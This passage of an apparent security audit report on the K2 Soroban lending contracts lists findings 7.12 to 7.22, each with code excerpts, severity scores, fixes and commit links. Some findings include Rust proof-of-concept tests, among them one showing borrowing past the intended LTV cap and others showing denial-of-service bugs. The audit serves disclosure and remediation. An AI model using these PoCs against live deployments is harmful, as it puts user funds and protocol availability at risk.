<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/ae50ae20dc95b66e06c9b40560ebb338dc7a4066>

7.12 UNBOUNDED PERSISTENT VECTORS IN INCENTIVES INFLATE FOOTPRINTS AND RISK SIZE FAILURES

// MEDIUM

Description

Incentives keeps unbounded lists in single persistent entries: the global asset registry (**ASSETS**) and per-asset reward-token lists (**REWARD_TOKENS**). Each addition rewrites the entire vector and footprints the whole entry. As the number of assets or reward tokens grows, these coarse-grained entries inflate transaction footprints/fees and can eventually exceed ledger entry size limits, causing apply-stage failures on legitimate config updates. Unlike sharded per-key storage, one oversized vector blocks all future updates to the list until migrated.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:H/I:N/D:N/Y:N (5.0)

Recommendation

Shard registries to avoid single growing vectors: store assets in per-asset keys (e.g., **Asset -> true**) and reward tokens in per-asset sets/maps, or enforce hard bounds/pagination on the vectors. This keeps each entry small, reduces footprint size, and prevents size-cap failures on config updates.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by replacing the unbounded, ever-growing incentives registry with sharded per-key existence flags and bounded enumeration lists (**max 100 assets and 20 reward tokens per asset**), adding explicit overflow errors, and updating **set_asset_reward_config** to return a **Result** so bound violations fail cleanly instead of producing oversized ledger entries.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/2d8e6f4c0b0eecdaefe8dc5b3928c05f846926ed>

7.13 POOL CONFIGURATOR CROSS-CONTRACT CALLS REVERT DUE TO ABI MISMATCH

// MEDIUM

Description

Pool-configurator admin entrypoints (`add_oracle_asset`, `set_oracle_asset_enabled`, `set_oracle_manual_override`, `set_reserve_supply_cap`, `set_reserve_borrow_cap`, `update_atoken`, `update_variable_debt_token`) invoke external contracts with mismatched argument types:

- Oracle mutators omit the required `caller` argument and supply `Option<i128>` instead of the expected `Option<u128>`,
- Reserve-cap setters forward the configurator contract address instead of the authenticated admin address that the router validates, and
- Token upgrade paths pass an `Address` where the router expects a WASM `BytesN<32>` implementation hash.

As a result, administrative attempts to whitelist or enable assets, set manual price overrides, adjust caps, or upgrade token implementations fail at the callee boundary and revert, preventing incident response and routine governance operations.

Code Location

Oracle mutators omit `caller` and use a signed price type:

```
13 | let res: Result<(), OracleError> = env.invoke_contract(  
14 |     &price_oracle_address,  
15 |     &symbol_short!("add_asset"),  
16 |     soroban_sdk::vec![env, asset.into_val(env)],  
17 | );
```

 Copy Code

```
64 | pub fn set_oracle_manual_override(  
65 |     env: &Env,  
66 |     caller: &Address,  
67 |     asset: &Asset,  
68 |     price: Option<i128>,  
69 | ) -> Result<(), KineticRouterError> {  
70 |     storage::validate_admin(env, caller)?;  
71 |  
72 |     let price_oracle_address = storage::get_price_oracle(env);  
73 | }
```

 Copy Code

```

74     let res: Result<(), OracleError> = env.invoke_contract(
75         &price_oracle_address,
76         &Symbol::new(env, "set_manual_override"),
77         soroban_sdk::vec![env, asset.into_val(env), price.into_val(env)],
78     );
79     res.map_err(|_| KineticRouterError::PriceOracleNotFound)
80 }

```

Cap setters forward the configurator contract address, causing router admin validation to fail:

```

389 env.invoke_contract::<Result<(), KineticRouterError>>(
390     &storage::get_kinetic_router(env),
391     &soroban_sdk::Symbol::new(env, "set_reserve_supply_cap"),
392     soroban_sdk::vec![
393         env,
394         env.current_contract_address().into_val(env),
395         asset.into_val(env),
396         supply_cap.into_val(env),
397     ],
398 )

```

 Copy Code

Token implementation upgrade calls pass an **Address** where a WASM **BytesN<32>** hash is expected:

```

528 pub fn update_atoken(
529     env: &Env,
530     caller: &Address,
531     asset: &Address,
532     implementation: &Address,
533 ) -> Result<(), KineticRouterError> {
534     storage::validate_admin(env, caller)?;
535     env.invoke_contract::<Result<(), KineticRouterError>>(
536         &storage::get_kinetic_router(env),
537         &soroban_sdk::Symbol::new(env, "update_atoken_implementation"),
538         soroban_sdk::vec![
539             env,
540             env.current_contract_address().into_val(env),
541             asset.into_val(env),
542             implementation.into_val(env),
543         ],
544     )

```

 Copy Code

Proof of Concept

The PoC code has been added into the `tests/unit-tests/src/pool_configurator_poc.rs` file:

 Copy Code

```
#[cfg(test)]

use k2_pool_configurator::contract::{PoolConfiguratorContract, PoolConfiguratorContractClient};
use k2_shared::{Asset, OracleError};
use soroban_sdk::{contract, contractimpl, testutils::Address as _, Address, Env};

/// PoC: the pool-configurator's `set_oracle_manual_override` omits `caller`
/// and uses `Option<i128>`; calling it against a strict oracle ABI panics due
/// to the argument/type mismatch.
#[test]
#[should_panic]
fn set_oracle_manual_override_panics_on_abi_mismatch() {
    let env = Env::default();
    env.mock_all_auths();

    let admin = Address::generate(&env);
    let asset_addr = Address::generate(&env);
    let kr = Address::generate(&env);

    // Strict mock oracle that expects (caller, asset, Option<u128>)
    let oracle_id = env.register(MockStrictOracle, ());

    let pool_id = env.register(PoolConfiguratorContract, ());
    let client = PoolConfiguratorContractClient::new(&env, &pool_id);
    client.initialize(&admin, &kr, &oracle_id);

    // This call will panic because pool-configurator omits the caller arg and
    // passes Option<i128> instead of Option<u128>.
    let asset = Asset::Stellar(asset_addr);
    client.set_oracle_manual_override(&admin, &asset, &Some(1_i128));
}

#[contract]
pub struct MockStrictOracle;

#[contractimpl]
impl MockStrictOracle {
    pub fn set_manual_override(
        env: Env,
        caller: Address,
        _asset: Asset,
        _price: Option<u128>,
    ) -> Result<(), OracleError> {
        caller.require_auth();
        Ok(())
    }
}
```

The test passes successfully, showing that cross-contract governance and configuration calls revert due to ABI mismatches, blocking routine admin actions and leaving protocol management inoperable.

```
running 1 test
test pool_configurator_poc::set_oracle_manual_override_panics_on_abi_mismatch - should panic ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 375 filtered out; finished in 0.01s
```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:C/I:N/D:N/Y:N (5.0)

Recommendation

Align all pool-configurator cross-contract invocations with callee signatures: include the authenticated **caller** in oracle calls and encode manual overrides as **Option<u128>**; forward the authenticated admin address (and require its auth) to router cap setters; and pass **BytesN<32>** WASM hashes to the router's token upgrade entrypoints.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/6d006516be671864bff4f2626eb9526d6d9b773d>

7.14 SOROSWAP ROUTER ABI MISMATCH TRAPS ALL CALLS

// MEDIUM

Description

Soroswap router methods are returned as `Result<...>`, but the functions in `dex.rs` are decoded as bare values using `invoke_contract` (`get_factory`, `router_get_amounts_out`, `swap_exact_tokens_for_tokens`, `pair_exists`).

On Soroban, decoding a `Result<T, E>` as `T` triggers a trap even when the router returns `Ok(T)`, so every Soroswap call aborts before any routing logic is executed. In production, this results in a denial-of-service across all Soroswap-backed flows:

- `swap_collateral` is always reverted, preventing rebalancing of collateral;
- the liquidation callback in `flash_loan.rs` is unable to swap seized collateral to the debt asset, blocking the flash-loan liquidation path; and
- `get_swap_collateral_quote` panics, breaking front-end and off-chain safety checks.

Direct liquidations via `liquidation_call` remain possible when liquidators supply the debt asset themselves, so liquidations are only blocked when the Soroswap swap path is relied upon. The overall impact is a hard denial-of-service of Soroswap swap, liquidation, and quote paths, causing lost fees and potential liquidation delays.

Code Location

Router calls assume bare return types instead of `Result`:

 Copy Code

```
147 let factory: Address = env.invoke_contract(  
148     router,  
149     &Symbol::new(env, "get_factory"),  
150     soroban_sdk::vec![env],  
151 );  
152 ...  
153 let amounts: Vec<i128> = env.invoke_contract(  
154     router,  
155     &Symbol::new(env, "swap_exact_tokens_for_tokens"),  
156     soroban_sdk::vec![env, amount_in.into_val(env), min_out.into_val(env), path.to_val(), caller.to_val(), deadline.into_val(env)]  
157 );  
158 ...  
159 let exists = env.invoke_contract(  
160     &factory,  
161     &Symbol::new(env, "pair_exists"),  
162 );  
163
```

```
soroban_sdk::vec![env, token_a.to_val(), token_b.to_val()],  
);
```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:H/I:N/D:M/Y:M (5.0)

Recommendation

Call Soroswap router/factory methods with either `invoke_contract` or `try_invoke_contract`, but decode the return values as `Result<T, SoroswapError>` (where `SoroswapError` matches the specific error enum from Soroswap's ABI), then map Soroswap errors to `KineticRouterError` instead of panicking.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by creating a helper function that calls Soroswap contracts expecting `Result<T, soroban_sdk::Error>` and mapping errors to `KineticRouterError` variants.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/0b3586e1849959ee7f22133fa40eddca5399ce4c>

7.15 BORROW-LIMIT INCONSISTENCIES ALLOW OVER-BORROWING

// MEDIUM

Description

`calculate_user_account_data` (used by `validate_user_can_borrow` and other router checks) computes available borrow capacity as $((\text{collateral} - \text{debt}) * \text{LTV}) / 10000$, while the helper functions `calculate_user_account_data_with_prices[_optimized]` and `calculate_user_account_data_selective` compute it as $(\text{collateral} * \text{LTV} / 10000) - \text{debt}$.

When debt is non-zero, the default calculation path reports additional borrow headroom. As a result, borrow validations performed by the router can approve new borrowings that exceed the intended LTV cap and reach up to the liquidation-threshold buffer.

The position remains above the liquidation threshold (health factor ≈ 1), so liquidations are still triggered as expected. However, positions are allowed to operate closer to liquidation than policy intends, which increases insolvency risk under adverse price movements or interest accrual.

Code Location

Code snippet from the `calculate_user_account_data_with_prices_optimized` function:

```
335 | let available_borrows_base = if total_debt_base == 0 {
336 |     match total_collateral_base.checked_mul(ltv) {
337 |         Some(val) => val / 10000,
338 |         None => return Err(KineticRouterError::MathOverflow),
339 |     }
340 | } else {
341 |     match total_collateral_base.checked_mul(ltv) {
342 |         Some(val) => (val / 10000).saturating_sub(total_debt_base),
343 |         None => return Err(KineticRouterError::MathOverflow),
344 |     }
345 | };
```

 Copy Code

Code snippet from the `calculate_user_account_data_selective` function:

```
753 | let max_borrow = (total_collateral_base * ltv) / 10000u128;
754 | if max_borrow > total_debt_base {
755 |
```

 Copy Code

```

756     max_borrow - total_debt_base
757 } else {
758     0
759 }

```

Code snippet from the `calculate_user_account_data` function:

```

542 let available_borrows_base = if total_debt_base == 0 {
543     match total_collateral_base.checked_mul(ltv) {
544         Some(val) => val / 10000,
545         None => return Err(KineticRouterError::MathOverflow),
546     }
547 } else {
548     let collateral_minus_debt = if total_collateral_base > total_debt_base {
549         total_collateral_base - total_debt_base
550     } else {
551         0
552     };
553     match collateral_minus_debt.checked_mul(ltv) {
554         Some(val) => val / 10000,
555         None => return Err(KineticRouterError::MathOverflow),
556     }
557 };

```

 Copy Code

Proof of Concept

The PoC code has been added into the existing suite located within the `tests/integration-tests/src/poc_borrow_ltv_mismatch.rs` file:

```

#![cfg(test)]

//! PoC: Borrow validation uses an over-permissive LTV formula
//! allowing debt to exceed the intended LTV cap while still
//! reporting remaining borrow capacity.

use crate::setup::{create_test_env_with_budget_limits, deploy_test_protocol_two_assets};
use k2_shared::WAD;

#[test]
fn poc_borrow_exceeds_ltv_due_to_available_formula() {
    let env = create_test_env_with_budget_limits();
    let protocol = deploy_test_protocol_two_assets(&env);

    // Provide borrowable USDT liquidity
    let lp_supply = 200_000_000_000u128; // 200 USDT (7 decimals)
    protocol.kinetic_router.supply(
        &protocol.liquidity_provider,

```

 Copy Code


```

        &protocol.usdt_asset,
        &lp_supply,
        &protocol.liquidity_provider,
        &0u32,
    );

    // User supplies 100 USDC as collateral and enables it
    let coll_supply = 100_000_000_000u128; // 100 USDC (7 decimals)
    protocol.kinetic_router.supply(
        &protocol.user,
        &protocol.usdc_asset,
        &coll_supply,
        &protocol.user,
        &0u32,
    );
    protocol
        .kinetic_router
        .set_user_use_reserve_as_coll(&protocol.user, &protocol.usdc_asset, &true);

    // First borrow within LTV (60 USDT)
    protocol.kinetic_router.borrow(
        &protocol.user,
        &protocol.usdt_asset,
        &60_000_000_000u128, // 60 USDT
        &1u32,
        &0u32,
        &protocol.user,
    );

    // Second borrow pushes total debt to 85 USDT (> 80 LTV cap, but < 85 LT)
    protocol.kinetic_router.borrow(
        &protocol.user,
        &protocol.usdt_asset,
        &25_000_000_000u128, // +25 USDT = 85 total
        &1u32,
        &0u32,
        &protocol.user,
    );

    let data = protocol
        .kinetic_router
        .get_user_account_data(&protocol.user);

    // Correct LTV-bound debt limit (80% of collateral)
    let ltv_limit = data
        .total_collateral_base
        .checked_mul(8000u128)
        .unwrap()
        / 10000u128;

    assert!(
        data.total_debt_base > ltv_limit,
        "Debt should exceed the 80% LTV cap"
    );

    // Bug: available_borrows_base remains positive because (collateral - debt) * LTV is used

```

```

assert!(
    data.available_borrows_base > 0,
    "Over-borrow should still report remaining capacity"
);

// HF at liquidation threshold (LT=85%) despite breaching LTV
assert_eq!(
    data.health_factor, WAD,
    "Position sits at LT boundary but above intended LTV"
);
}

```

The test passes successfully, showing that due to the way available borrowing is calculated, a user can borrow beyond the intended loan-to-value (LTV) cap—demonstrating that the `available_borrows_base` logic does not enforce the LTV limit, allowing the position to breach LTV but not the liquidation threshold.

```

running 1 test
test poc_borrow_ltv_mismatch::poc_borrow_exceeds_ltv_due_to_available_formula ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 138 filtered out; finished in 1.75s

```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:N/I:H/D:M/Y:M (5.0)

Recommendation

Standardize the borrow limit calculation across all helpers so that the available borrowing amount is determined by taking the user's total collateral value, applying the loan-to-value (LTV) ratio, and then subtracting the user's existing debt. Ensure that all protocol components—such as the router, validation, and liquidation logic—rely on the same helper for this calculation.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/cc448e253688ee2c04a9c6b0b33f9f59e16669cb>

7.16 MISSING TTL BUMPS ACROSS CORE CONTRACTS CAUSES ARCHIVED-STATE DOS

// MEDIUM

Description

All Soroban data types are assigned a time-to-live (TTL). Persistent and instance entries whose TTL reaches zero are archived rather than deleted and must be restored before being used. Any transaction whose footprint includes an archived entry will fail during the apply stage unless a restore list is provided (the restore list is typically populated by RPC simulation).

The following contracts do not call `extend_ttl`, so critical state can age out and require explicit restores or cause transaction liveness failures:

- Persistent balances, allowances, and debts for aToken/debt-token are not bumped on read or write; any transaction that touches these entries will fail once they are archived unless they are restored beforehand.
- Price-oracle keeps configuration and last-price data in instance storage without TTL maintenance; if the instance TTL lapses, oracle operations are halted until the instance is restored.
- Kinetic-router omits TTL bumps for instance and persistent data (admins, reserves, whitelists/blacklists, user configurations); archived entries in transaction footprints will block routing and liquidation calls until restoration is performed.
- Interest-rate-strategy never bumps TTL for admin settings or rate parameters (both instance-level and per-asset persistent); rate reads or updates can fail after archival.
- Incentives updates persistent rewards data but does not bump instance flags (initialized, lending pool, emission manager, paused); if these flags are archived, control checks can fail at apply time.
- Incentives attempts TTL maintenance but uses `TTL_THRESHOLD = 0` for both instance and persistent `extend_ttl` calls. In Soroban, `extend_ttl(threshold, extend_to)` only extends when current TTL is below `threshold`, so `threshold=0` is effectively a no-op. This can allow both instance flags and per-key reward state to expire/archive unexpectedly.
- Pool-configurator mirrors the same `TTL_THRESHOLD = 0` pattern for instance-backed config, so it similarly does not refresh instance/code TTL as intended once enough time passes.
- Aquarius swap adapter uses `extend_ttl(0, ...)` (threshold=0) for instance config and persistent pool mappings, which is a no-op and allows critical DEX integration state to archive unexpectedly.
- Soroswap swap adapter uses `extend_ttl(0, ...)` (threshold=0) for instance config, preventing proper TTL maintenance for DEX routing data.

- Redstone adapter uses `TTL_THRESHOLD = 0` for all instance and persistent price feed data, making the no-op `extend_ttl` calls ineffective for maintaining oracle availability. Additionally, instance entries aren't protected by “read bumps”.

Automatic restoration via simulation cannot be guaranteed (for example, in manually crafted transactions or when restore lists are incomplete), so the absence of periodic TTL bumps exposes the protocol to avoidable denial-of-service risk and increases operational friction required to restore state.

Proof of Concept

The PoC code has been added into the `tests/unit-tests/src/price_oracle_test.rs` file:

[Copy Code](#)

```
#![cfg(test)]

use soroban_sdk::{contract, contractimpl, symbol_short, Env};
use soroban_sdk::testutils::{storage::Persistent as _, Ledger as _, LedgerInfo};

/// Minimal contract used only to obtain a contract context for storage operations.
#[contract]
pub struct TtlProbe;

#[contractimpl]
impl TtlProbe {
    pub fn ping(_env: Env) {}
}

/// PoC: `extend_ttl(key, threshold, extend_to)` only extends when current TTL is *below* `threshold`.
///
/// This test demonstrates that `threshold = 0` does **not** extend even when TTL is 1,
/// while `threshold = 2` *does* extend in the same situation.
#[test]
fn poc_extend_ttl_threshold_zero_does_not_extend() {
    let env = Env::default();
    env.mock_all_auths();

    // Make TTL behavior deterministic.
    // Important: if protocol_version is left at 0 in testutils, TTL APIs can behave unexpectedly.
    env.ledger().set(LedgerInfo {
        timestamp: 0,
        sequence_number: 1,
        protocol_version: 22,
        network_id: Default::default(),
        base_reserve: 0,
        min_temp_entry_ttl: 0,
        min_persistent_entry_ttl: 1,
        max_entry_ttl: 100,
    });

    let contract_id = env.register(TtlProbe, ());
```

```

let key = symbol_short!("k");

// Create a persistent entry for this contract.
env.as_contract(&contract_id, || {
    // Keep the contract instance itself alive while we move the ledger forward.
    // In testutils, accessing an archived instance triggers a hard error.
    env.storage().instance().extend_ttl(100, 100);
    env.storage().persistent().set(&key, &u32);
});

// Some test environments may create new entries with a very small TTL.
// Normalize by extending to a known TTL if needed.
let mut ttl_now: u32 =
    env.as_contract(&contract_id, || env.storage().persistent().get_ttl(&key));
if ttl_now < 10 {
    env.as_contract(&contract_id, || {
        // Any threshold > current TTL will extend to `extend_to`.
        env.storage().persistent().extend_ttl(&key, ttl_now + 1, 10);
    });
    ttl_now = env.as_contract(&contract_id, || env.storage().persistent().get_ttl(&key));
}
assert_eq!(ttl_now, 10, "expected normalized TTL=10, got {ttl_now}");

// Move the ledger forward so the entry has TTL = 1.
let current_seq = env.ledger().get().sequence_number;
env.ledger().set_sequence_number(current_seq + 9);

let ttl_near_expiry: u32 =
    env.as_contract(&contract_id, || env.storage().persistent().get_ttl(&key));
assert_eq!(ttl_near_expiry, 1);

// threshold = 0 should never trigger an extension (since TTL can't be < 0).
env.as_contract(&contract_id, || {
    env.storage().persistent().extend_ttl(&key, 0, 100);
});
let ttl_after_zero: u32 =
    env.as_contract(&contract_id, || env.storage().persistent().get_ttl(&key));
assert_eq!(ttl_after_zero, 1);

// threshold > current TTL should trigger an extension.
env.as_contract(&contract_id, || {
    env.storage().persistent().extend_ttl(&key, 2, 10);
});
let ttl_after_two: u32 =
    env.as_contract(&contract_id, || env.storage().persistent().get_ttl(&key));
assert_eq!(ttl_after_two, 10);
}

```

The test passes successfully, showing that `threshold = 0` does **not** extend even when TTL is 1:

```
running 1 test
test poc_extend_ttl_threshold_zero::poc_extend_ttl_threshold_zero_does_not_extend ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 377 filtered out; finished in 0.01s
```

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:C/I:N/D:H/Y:H (4.6)

Recommendation

Define `TTL_THRESHOLD` and `TTL_EXTENSION` for each contract, and ensure that every read or write operation on required-live data is wrapped with an appropriate `extend_ttl` call (instance-level or per-key for persistent data). Centralize TTL refresh logic in helper functions to avoid omissions, and invoke these helpers on both read and write paths.

For instance data, note that a single `instance().extend_ttl` call refreshes the TTL of all instance keys as well as the contract instance itself. For persistent data, each key's TTL must be refreshed individually. This approach minimizes dependency on restore lists and prevents apply-stage failures caused by archived entries.

Remediation Comment

SOLVED: The K2 team solved this finding in the following commit IDs:

- [43d025a](#)
- [ae50ae2](#)
- [785e77f](#)
- [cabc6c8](#)
- [aec34ac](#)
- [2803227](#)

These commits update the TTL threshold from 0 to four weeks of ledger time and introduce TTL extension logic across the original contracts.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/2803227a7855155956dbfcbb26f7efd74e55a013>

7.17 SWALLOWED CROSS-CONTRACT ERRORS MISREPORT SUCCESS AND LOSE FEES

// LOW

Description

Cross-contract call failures are discarded by multiple router entrypoints while success events are emitted or success counters are incremented:

- Incentives propagation counts are recorded as updated even when underlying token calls fail.
- Token implementation upgrades are logged as successful regardless of the actual upgrade outcome.
- Fee transfers in swap and liquidation operations are executed without proper failure handling, allowing protocol fees to be lost silently.

These behaviors permit attackers or misconfigured integrations to trigger execution paths that produce misleading telemetry while the expected side effects do not occur, leading operators to be misled into believing that updates or fee collections succeeded when they did not.

Code Location

Incentives propagation ignores errors but increments count (`contracts/kinetic-router/src/params.rs`):

```
218 | let _ = env.try_invoke_contract::<<Result<(), TokenError>, KineticRouterError>(<
219 |     &reserve_data.a_token_address,
220 |     &Symbol::new(&env, "set_incentives_contract"),
221 |     args,
222 | );
223 | updated_count += 1;
```

 Copy Code

Token upgrades ignore failures and still emit success-like events (`contracts/kinetic-router/src/reserve.rs`):

```
188 | let _ = env.try_invoke_contract::<<(), KineticRouterError>(<
189 |     &reserve_data.a_token_address,
190 |     &Symbol::new(&env, "upgrade"),
191 |     soroban_sdk::vec![&env, IntoVal::into_val(&a_token_impl, &env)],
192 | );
193 |
194 |
195 |
```

 Copy Code

```
env.events()  
  .publish((symbol_short!("atoken"), asset.clone()), a_token_impl);
```

[Copy Code](#)

```
210 | let _ = env.try_invoke_contract:::<(), KineticRouterError>(  
211 |   &reserve_data.debt_token_address,  
212 |   &Symbol::new(&env, "upgrade"),  
213 |   soroban_sdk::vec![&env, IntoVal::into_val(&debt_token_impl, &env)],  
214 | );  
215 |  
216 | env.events()  
217 |   .publish((symbol_short!("debt"), asset.clone()), debt_token_impl);
```

Fee transfer failures are swallowed in swap (`contracts/kinetic-router/src/swap.rs`):

[Copy Code](#)

```
212 | match fee_transfer_result {  
213 |     Ok(Ok(_)) => {}  
214 |     Ok(Err(_)) | Err(_) => {  
215 |         // Fee transfer failure - continue with swap but log the issue  
216 |         // This prevents the entire swap from failing if treasury transfer fails  
217 |     }  
218 | }
```

Protocol fee transfer failures ignored in liquidation (`contracts/kinetic-router/src/liquidation.rs`):

[Copy Code](#)

```
match fee_transfer_result {  
    Ok(Ok(true)) => {}  
    Ok(Ok(false)) | Ok(Err(_)) | Err(_) => {  
        // Fee transfer failure - continue with liquidation  
    }  
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:N/Y:M (4.2)

Recommendation

Propagate cross-contract errors (or fail the transaction) when critical side effects—upgrades, incentives propagation, or fee transfers—do not succeed. Only emit success events and increment counters after confirming the call returned success; otherwise return an explicit error so operators and monitoring can react.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the following commits by implementing the recommended changes:

- [5423b94](#)
- [43fc305](#)
- [418da34](#)

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/418da347548a5ebccb1ac1c18f6688cce8278c4b>

7.18 POOL CONFIGURATOR ADMIN ROTATION BREAKS UPGRADES

// LOW

Description

`upgrade` is authenticated against the `pool_admin` stored in the configurator and against the upgrade-module admin `upgradeable::admin` via `upgrade::upgrade`. The `initialize` entry point assigns both administrators to the same address. However, `transfer_admin` updates only the `pool_admin`, leaving the upgrade-admin value unchanged.

After an admin transfer, calls to `upgrade` revert because the signer satisfies the `pool_admin` check but fails the upgrade-admin check. Governance is left believing that the admin was rotated, while future upgrades are prevented until the upgrade-admin is realigned manually.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (3.4)

Recommendation

When rotating admin, update both configurator admin and upgrade admin in a single flow (e.g., add a dedicated transfer that sets both slots) or derive the upgrade admin from `pool_admin` so they cannot diverge.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by modifying the admin transfer functions to automatically update both the pool administrator and upgrade administrator records simultaneously whenever an admin change occurs.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/4d2bf02965101fd756f364016c016873698f8407>

7.19 PRECISION LOSS IN PRICE-TO-WAD CONVERSIONS DUE TO DIVISION BEFORE MULTIPLICATION

// LOW

Description

`calculate_user_account_data_with_prices_optimized` multiplies oracle prices by 10_000 before dividing by token decimals, while the default, selective, and validation helpers divide by decimals first then multiply.

This difference causes precision loss due to integer division truncation: dividing before multiplying truncates fractional components that could affect the final result, while multiplying first preserves more precision before the final division.

As a result, identical positions can produce different collateral and debt totals and different health factors depending on which helper is invoked, and liquidation outcomes in the optimized path can conflict with borrow validations performed by the default helpers.

Code Location

Code snippet from the `calculate_user_account_data_with_prices_optimized` function:

```
213 | let value_base = balance
214 |   .checked_mul(asset_price)
215 |   .ok_or(KineticRouterError::MathOverflow)?
216 |   .checked_mul(10_000) // Convert from price precision (1e14) to WAD (1e18)
217 |   .ok_or(KineticRouterError::MathOverflow)?
218 |   .checked_div(decimals_pow)
219 |   .ok_or(KineticRouterError::MathOverflow)?;
```

 Copy Code

Code snippet from the `calculate_user_account_data_selective` function:

```
646 | let value_base = balance
647 |   .checked_mul(asset_price)
648 |   .ok_or(KineticRouterError::MathOverflow)?
649 |   .checked_div(decimals_pow)
650 |   .ok_or(KineticRouterError::MathOverflow)?
651 |   .checked_mul(10_000)
652 |   .ok_or(KineticRouterError::MathOverflow)?;
```

 Copy Code

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:L/I:M/D:L/Y:L (3.4)

Recommendation

Adopt a single, consistent order of operations for value conversions across all calculation and validation functions—prefer multiplying by scale factors first, then dividing by decimals, in order to minimize precision loss and ensure consistency across all helpers.

Remediation Comment

SOLVED: The **K2 team** this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/3627a14e9cce683a8017e8c91aa63b4a027bde31>

7.20 MISSING RECIPIENT VALIDATION ENABLES ACCIDENTAL FUND LOSS IN LENDING OPERATIONS

// LOW

Description

Multiple lending operations lack validation to prevent critical contract addresses from being used as recipients, enabling accidental fund loss:

- **Withdraw to aToken Contract:** `operations::withdraw` does not prevent `to` from being the reserve's aToken contract address. In that case, the router burns the caller's aTokens and instructs the aToken to "transfer underlying" to itself, resulting in no net asset movement and permanent loss of the user's withdrawable position.
- **Supply on Behalf of aToken Contract:** `operations::supply` does not prevent `on_behalf_of` from being the reserve's aToken contract address. This would mint aTokens to the aToken contract itself, creating circular ownership and enabling potential manipulation or accounting confusion.
- **Borrow on Behalf of Token Contracts:** `operations::borrow` does not prevent `on_behalf_of` from being the aToken or debt token contract addresses. This would mint debt tokens to these contracts, creating confusing debt positions and potential manipulation vectors.

Any user (or a malicious UI/integration) can accidentally route these operations to critical contract addresses, resulting in irreversible fund loss without receiving the intended asset.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:N/D:M/Y:N (3.4)

Recommendation

Add recipient validation guards in `withdraw`, `supply`, and `borrow` functions to reject operations where recipients are critical contract addresses:

- `withdraw`: reject `to == updated_reserve_data.a_token_address`
- `supply`: reject `on_behalf_of == updated_reserve_data.a_token_address`
- `borrow`: reject `on_behalf_of == updated_reserve_data.a_token_address || on_behalf_of == updated_reserve_data.debt_token_address`

Return a clear error such as `InvalidRecipient` for these cases.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the following commits by adding recipient validation to prevent withdrawals, supplies and borrowings to aToken and debt token contract addresses.

- [5d80d52](#)
- [7bb3d34](#)

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/7bb3d3485982bb5a0b4d24bba50bcddddd355989>

7.21 REDSTONE ADAPTER BIDIRECTIONAL MAPPING DESYNC ALLOWS STALE REVERSE KEYS

// LOW

Description

The `set_asset_feed_mapping` function creates bidirectional mappings between assets and feed IDs, but fails to clean up stale reverse mappings when an asset is remapped to a new feed.

The admin calls `set_asset_feed_mapping` to remap an existing asset from `old_feed` to `new_feed`. The function overwrites `AssetToFeed(asset) = new_feed` and sets `FeedToAsset(new_feed) = asset`, but neglects to delete the old `FeedToAsset(old_feed) = asset` entry. Over time, this accumulates stale reverse mappings that no longer correspond to current asset-feed relationships, leading to data inconsistency and potential lookup failures.

This desync could cause the system to return incorrect feed information or fail to find valid mappings, affecting price data retrieval and oracle operations.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (3.4)

Recommendation

When remapping an asset to a new feed ID, first check if `AssetToFeed(asset)` already exists. If so, retrieve the old feed ID and delete the corresponding `FeedToAsset(old_feed)` entry before creating the new mappings.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/148b896e8dae103dff32f4589b57a1f544473728>

7.22 SOROSWAPSWAPADAPTER ROUTER-PATH SWAP IS BRICKED BY INCORRECT PRE-AUTHORIZATION TARGET

// LOW

Description

The `SoroswapSwapAdapter::execute_swap` router fallback path (used when `factory` is not configured) pre-authorizes a token transfer to the Soroswap router address, but the router's `swap_exact_tokens_for_tokens` function actually transfers tokens from the adapter to the first-hop pair contract.

Any user attempting to execute a swap through the adapter's router path can trigger this issue. When the adapter calls `swap_exact_tokens_for_tokens`, the router requires authorization for the adapter and then executes `token.transfer(from=adapter, to=pair, amount_in)`, but the adapter only pre-authorized transfer to the router address. This causes the router's internal transfer to fail due to insufficient authorization, reverting the entire swap transaction.

As a result, all K2 flows relying on this adapter's router path (such as collateral swaps and liquidations that require swapping collateral to repay debt) experience complete denial-of-service, preventing users from accessing critical protocol functionality during market volatility.

Code Location

`SoroswapSwapAdapter` authorizes transfer to `router` before calling the router (but the router transfers to the first-hop `pair`):

```
251 // Authorize token transfer
252 env.authorize_as_current_contract(soroban_sdk::vec![
253     &env,
254     InvokerContractAuthEntry::Contract(SubContractInvocation {
255         context: ContractContext {
256             contract: from_token.clone(),
